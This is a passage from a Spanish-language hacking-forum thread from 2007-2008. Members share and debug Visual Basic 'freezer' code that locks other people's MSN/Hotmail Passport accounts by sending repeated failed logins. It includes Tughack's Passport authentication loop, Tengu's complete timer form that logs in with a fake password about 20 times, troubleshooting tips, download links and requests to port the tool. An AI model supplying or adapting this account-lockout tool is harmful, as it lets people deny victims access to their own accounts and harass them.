Case "XFR"
tmp = Split(datos, " ")
WS.Close
WS.RemoteHost = Left(tmp(3), Len(tmp(3)) - 5)
WS.Connect


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tughack en 2 Agosto 2007, 02:22 am
Exacto! Veo k entiendeste perfectamente lo k dice.

La diferencia esk lo hago con el control inet ya k no me importa la dependencia y no hay k hacer nada como la funcion Satura.

Aki la parte del codigo k uso para los requests:

Código:
.
.
.
    Case "USR 3"
        sTmp = Split(sData, "USR 3 TWN S ")
        sChallengeString = sTmp(1)
        netMain.Execute "https://nexus.passport.com/rdr/pprdr.asp", "GET"
        Do Until netMain.StillExecuting = False
            DoEvents
        Loop
        iStart = InStr(netMain.GetHeader("PassportURLs"), "DALogin=") + 8
        iLength = InStr(iStart, netMain.GetHeader("PassportURLs"), ",")
        sDALogin = Mid(netMain.GetHeader("PassportURLs"), iStart, iLength - iStart)
        netMain.Execute "https://" & sDALogin, "GET", , "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" & FixAccount(txtAccount.Text) & ",pwd=password," & sChallengeString
        Do Until netMain.StillExecuting = False
            DoEvents
        Loop
        If bLock = True Then
            If stbMain.Panels(1).Text <> ">> Account Frozen!" Then
                If stbMain.Panels(1).Text <> ">> Freezing... [90%]" Then
                    iStatus = iStatus + 10
                    stbMain.Panels(1).Text = ">> Freezing... [" & iStatus & "%]"
                    Call basTray.Modify(Me, "ICEBERG", "Freezing... [" & iStatus & "%]")
                Else
                    iStatus = 0
                    stbMain.Panels(1).Text = ">> Account Frozen!"
                    Call basTray.Modify(Me, "ICEBERG", "Account Frozen!")
                End If
            End If
            sckMain.Close
            sckMain.Connect "messenger.hotmail.com", 1863
        End If
    End Select
.
.
.

Salu2 ;)


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Kizar en 2 Agosto 2007, 03:38 am
Yo use las apis porque así lo hacia = que el icecold y no me rompía la cabeza.
En todo caso lo que no entiendo es toda la tacada de código que a puesto el que inicio este hilo si se puede hacer con las lineas que lo he hecho yo.


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tughack en 2 Agosto 2007, 04:34 am
Citar
Yo use las apis porque así lo hacia = que el icecold y no me rompía la cabeza.

Si eso da =, el controlo inet no es mas k un ocx k utiliza esas apis, aunk es mas facil de usar xD

Citar
En todo caso lo que no entiendo es toda la tacada de código que a puesto el que inicio este hilo si se puede hacer con las lineas que lo he hecho yo.

100% de acuerdo, lo dice hace unos posts atras..

Salu2


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: drakolive en 2 Agosto 2007, 16:35 pm
Tughack podrias postear el proyecto completo?


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: nhaalclkiemr en 2 Agosto 2007, 16:42 pm
Tughack podrias postear el proyecto completo?

Hay k leer:

He subido el proyecto entero, para que bloquee tiene que llegar al 100%
http://www.mediafire.com/?4vcnhw2dcyu

http://www.mediafire.com/?4vcnhw2dcyu (http://www.mediafire.com/?4vcnhw2dcyu)

Saludos ;)


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tughack en 2 Agosto 2007, 16:50 pm
Tughack podrias postear el proyecto completo?

Hay k leer:

He subido el proyecto entero, para que bloquee tiene que llegar al 100%
http://www.mediafire.com/?4vcnhw2dcyu

http://www.mediafire.com/?4vcnhw2dcyu (http://www.mediafire.com/?4vcnhw2dcyu)

Saludos ;)

Se referia a mi Freezer, el Iceberg, hasta ahora solo postee el binario.

Tughack podrias postear el proyecto completo?

Pues no se pork, con el codigo de kizar ya lo pueden hacer bien. Creo k este tema ha sido bien explorado en lo k toca a codigo, solo tienen k leer y haran uno k funcione.

Salu2


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Freeze. en 2 Agosto 2007, 20:47 pm
Sep pero el se refiere al de TugHack... si no me equivoco...


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: drakolive en 3 Agosto 2007, 03:50 am
Si me referia al de TugHack... el de kisar que lo posteo completo no me freeaba las cuentas...pero del de Tughack parece q si lo hace y bastante bien..
asi q xq no compartirlo... la mayoria no del todo xq  se que ha sido mucho trabajo para ti.
Gracias TugHack.
kizar tbn ya esta apunto de lograrlo que bien...


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Kizar en 3 Agosto 2007, 04:27 am
Esto esta mucho mejor que el proyecto que subi:
http://foro.elhacker.net/index.php/topic,174279.msg828579.html#msg828579


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: drakolive en 3 Agosto 2007, 18:12 pm
pero el proyecto completo?


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Mad Antrax en 3 Agosto 2007, 18:34 pm
A mi no me funciona ni el Ice Cold Reloaded ni el Iceberg 1.2.1 de Tughack ni el Source que ha posteado Kizar, he probado los 3 programas con mi propia cuenta y no hace ni cosquillas.

Quizás lo esté usando mal o algo. He pedido a un amigo mio qu eme congele la cuenta desde su PC y tampoco pudo, sabéis si es por alguna razón en concreto?

Gracias!


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Jareth en 3 Agosto 2007, 19:04 pm
A mi no me funciona ni el Ice Cold Reloaded ni el Iceberg 1.2.1 de Tughack ni el Source que ha posteado Kizar, he probado los 3 programas con mi propia cuenta y no hace ni cosquillas.

Quizás lo esté usando mal o algo. He pedido a un amigo mio qu eme congele la cuenta desde su PC y tampoco pudo, sabéis si es por alguna razón en concreto?

Gracias!
No será que estas conectado?Eso no te tira,tienes que estar desconectado y no podrás entrar hasta que dejen de usarlo.
Saludos.


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Mad Antrax en 3 Agosto 2007, 19:13 pm
No hombre, lo he probado desconectado, lanzo el programa, espero al 100% y entonces me conecto... pero lo hago sin ninguna dificultas. no se k pasa xD


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tughack en 3 Agosto 2007, 19:18 pm
No hombre, lo he probado desconectado, lanzo el programa, espero al 100% y entonces me conecto... pero lo hago sin ninguna dificultas. no se k pasa xD

Ya intentaste con otra cuenta? Se k puede parecer muy raro pero al probar esta ultima version del freezer, probe blokear una cuenta en k normalmente probava los freezers y no me blokeo. Fui al hotmail.com y al intentar blokearla manualmente no me la blokeo. Aun no entiendi k paso con esta cuenta. La tuya puede estar asi.

Prueba con otra cuenta k los programas funcionan.

EDIT: Por curiosidad la intente blokear ahora y se blokee con unos 10 intentos (lo normal). Pues kuando me paso lo k dice no se blokeo ni con 30 intentos y ese mail estaba offline.

Salu2


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Jareth en 3 Agosto 2007, 19:21 pm
lol,Mad,has tenido suerte tu cuenta no se puede congelar,XD.
Es raro,sip.


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Mad Antrax en 4 Agosto 2007, 00:12 am
Ya intentaste con otra cuenta? Se k puede parecer muy raro pero al probar esta ultima version del freezer, probe blokear una cuenta en k normalmente probava los freezers y no me blokeo.
He porbado de bloquear otras cuestas y si funciona, pero la mia no se bloqueó. Muy raro :S

lol,Mad,has tenido suerte tu cuenta no se puede congelar,XD.
Es raro,sip.
Para que sí, no se. A lo mejor esto va a días. Uso el cliente de MSN 8.5 Beta, no creo que tenga nada que ver. Hasta luego!


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: DrakoX en 4 Agosto 2007, 00:18 am
pero ||MadAntrax||,
la intentaste congelar mientras estabas logeado??
porque si es así, no funciona

debes estar desconectado

salu2 y suerte


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Freeze. en 4 Agosto 2007, 00:59 am
DrakoX 
Se vale leer mas arriba...Eso ya se aclaro... jajaja :xD


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: DrakoX en 4 Agosto 2007, 01:04 am
 :-X
q boludo q soy,
no lo vi
eso pasa x escribir sin leer



Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: drakolive en 4 Agosto 2007, 02:33 am
que nadie posteara el proyecto completo (TugHack o kizar)?


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tengu en 4 Agosto 2007, 04:36 am
hola a todos pido disculpas por nhop escribir antes es q estaba en un viaje.

es verdad lo que dice tughack son demasiadas lineas de codigo para un freezer, pero es debibo a que el codigo lo he sacado de una aplicacion que estoy creando y tiene muchas mas opciones;(tal vez al momento de postearlo quedaron excedentes en el codigo pero crei que seria solo cuestion de tiempo para que los sacaran );la accion del codigo es la de conectar cada 10 segundos a la cuenta (puse 10 segundos para asegurarnos de que todos los intentos darian en el blanco //el tiempo puede bajarse dependiendo de la conexion que se dispone//el codigo realiza  15 intentos de conexion xk no eh contado bien pero creo que con 10 ya es suficiente).

Como dije antes el codigo solo conecta y desconecta asi que todos los exedentes de codigo que sean del tipo dataarrival o algo por el estilo(que son para recibir datos pueden quitarlos por completo y veran que el freezer seguira funcionando.

Esto fue la simple manera que encontre de haqcerlo asi que espero que pueda servirles de algo y lamento si no ha cumplido las expectativas de algunos. salu25


                                                                Tengu..::FireB0y::..


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tengu en 4 Agosto 2007, 04:44 am
ante cualquier duda solo agreguenme a su msn y les pasoi el proyecto totalmente funcional....   salu25 ;D


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: wACtOr en 4 Agosto 2007, 14:38 pm
weno  tengu yo el tuyo si que lo he conseguido hacer funcionar, me costo lo mio, pero lo logre. el de kizar , pues me pasa como a mad, llega al 100%  y nada me puedo conectar como si nada. Por si alguien pregunta, estoy desconectado. Puede ser por que uso gmail?. no creo que fuera eso ya que al estar registrada en passport.

si alguien obtinene una solucion ya sabe donde estamos xDD


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tughack en 4 Agosto 2007, 14:40 pm
weno  tengu yo el tuyo si que lo he conseguido hacer funcionar, me costo lo mio, pero lo logre. el de kizar , pues me pasa como a mad, llega al 100%  y nada me puedo conectar como si nada. Por si alguien pregunta, estoy desconectado. Puede ser por que uso gmail?. no creo que fuera eso ya que al estar registrada en passport.

si alguien obtinene una solucion ya sabe donde estamos xDD

Un freezer, caso funcione bien, puede congelar kualier cuenta asociada al net passport.

Probaste el mio?

Salu2


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: Tengu en 4 Agosto 2007, 19:28 pm
Aqui eh vuelto para liberar un nuevo codigo sin fallas y muy optimizado jejejej por k yo no creo en guardarme los codes ya que son uds. "gente del foro" los que me han enseñado a aprender y compartir.. asi q presten atencion.

necesitaremos colocar en referencias(Proyecto->Referencias)

*Messeger Type Library
*Messenger API Type Library
*Messenger Private Type Library


agregar :

1 textbox llamado "txtusermail"
1 command llamado "congelar"
1 timer llamado "timer1"

1 textbox llamado "contador"
2 label llamados lblUserEmail y label1
1 slider llamado conexion



eh aqui el codigo que buscaban jejej si falta algo o falla algo posteenlo aqui salu25

Código:
Private MSN As New MsgrObject

Private Sub congelar_Click()
Timer1.Interval = conexion.Value
Timer1.Enabled = True
End Sub




Private Sub Form_Load()
Me.Caption = "Freezer 2 poir tengu jej"
lblUserEmail.Caption = "Direccion de E-mail"
contador.Visible = False
Label1.Caption = "Tiempo para realizar cada conexion"
conexion.Value = "15000"
End Sub

Private Sub Timer1_Timer()
On Error Resume Next
contador.Text = Val(contador.Text) + Val("1")
If contador.Text = "20" Then
Timer1.Enabled = False
MsgBox "congelada!!!", vbInformation, "Tengu Freezer 2"
End If
MSN.Logoff
    MSN.Logon txtUserEmail.Text, "Fucked by tengu", MSN.Services.PrimaryService
End Sub

Toodo va en el form1(sin modulos sin nada jejej)


Título: Re: Fabricando un congelador tipo ice cold en vb[Optimizado]
Publicado por: ‭‭‭‭jackl007 en 5 Agosto 2007, 21:18 pm
a mi no me congela


Título: Re: Fabricando un congelador tipo ice cold en vb[Optimizado]
Publicado por: Tengu en 5 Agosto 2007, 21:45 pm
si ves que no funcina primero abre el windows messenger(no te logees solo tenlo abierto)


Título: Re: Fabricando un congelador tipo ice cold en vb[Optimizado]
Publicado por: Tengu en 5 Agosto 2007, 21:52 pm
y sino vamos a tener que resignarnos y usar el tuyo tughack jej no nos vendria mal un poco de tu ayuda eh jajaj


Título: Re: Fabricando un congelador tipo ice cold en vb[Optimizado]
Publicado por: ‭‭‭‭jackl007 en 5 Agosto 2007, 22:33 pm
EStoy deacuerdo con eso...
vale la ayuda de tughack


Título: Re: Fabricando un congelador tipo ice cold en vb[Optimizado]
Publicado por: mitripeo en 6 Agosto 2007, 19:40 pm
alguien podria pasar ese codigo de VB a otro lenguaje soportado en unix, como C, PHP o perl.... seria bastante efectivo... si alguien puede comuniquemelo mitripeo@mitripeo.com


Título: Re: Fabricando un congelador tipo ice cold en vb[Optimizado]
Publicado por: Tengu en 7 Agosto 2007, 01:27 am
Broma no esta cerrado -Freeze-


Título: Re: Fabricando un congelador tipo ice cold en vb[Optimizado]
Publicado por: Freeze. en 7 Agosto 2007, 23:08 pm
De verdad esta cerrado?? :xD :xD :xD

Fue Tengu un Mod?

Que pasooo? :xD

No entiendo nada...


Título: Re: Fabricando un congelador tipo ice cold en vb
Publicado por: -Lozano- en 15 Septiembre 2007, 02:10 am
Bueno perdonen mi ignorancia pero que controles o que cosas tengo que poner ne el form para que el codigo de kizar funcioine, soy muy noob en VB.

Saludos


Título: Re: Fabricando un congelador tipo ice cold en vb[Optimizado]
Publicado por: erementar en 15 Abril 2008, 01:22 am
alguien me puede pasar el programa ya hecho lo q pasa es q aun soy algo idiota para esto d la programacion
grax


Título: Re: Fabricando un congelador tipo ice cold en vb[Optimizado]
Publicado por: krackwar en 15 Abril 2008, 01:49 am
alguien me puede pasar el programa ya hecho lo q pasa es q aun soy algo idiota para esto d la programacion
grax
por lo visto no solo en la programacion , no rebibas post viejos


Título: Re: Fabricando un congelador tipo ice cold en vb[Optimizado]
Publicado por: erementar en 15 Abril 2008, 04:11 am
bueno pero me lo van a pasar o no akbo d probar el iceberg y x alguna razon no me funciono


Título: Re: Fabricando un congelador tipo ice cold en vb[Optimizado]
Publicado por: krackwar en 15 Abril 2008, 04:25 am
escribe bien que tube que descifrar eso , pidelo por favor i lo ago i te lo paso


Título: Re: Fabricando un congelador tipo ice cold en vb[Optimizado]
Publicado por: erementar en 15 Abril 2008, 04:29 am
me podrias pasar el programa ya funcionanado acabo de probar el icebrg y no me funciono por alguna razon
por favor


Título: Re: Fabricando un congelador tipo ice cold en vb[Optimizado]
Publicado por: cassiani en 15 Abril 2008, 04:49 am
bueno pero me lo van a pasar o no akbo d probar el iceberg y x alguna razon no me funciono

Esa no es forma de pedir algo.

me podrias pasar el programa ya funcionanado acabo de probar el icebrg y no me funciono por alguna razon
por favor

Eso esta mucho mejor y recuerda (claro, solo lo puedes recordas si te detuviste a leer un poco) que no se deben resucitar los post antiguos...

Creo que ya te lo van a pasar...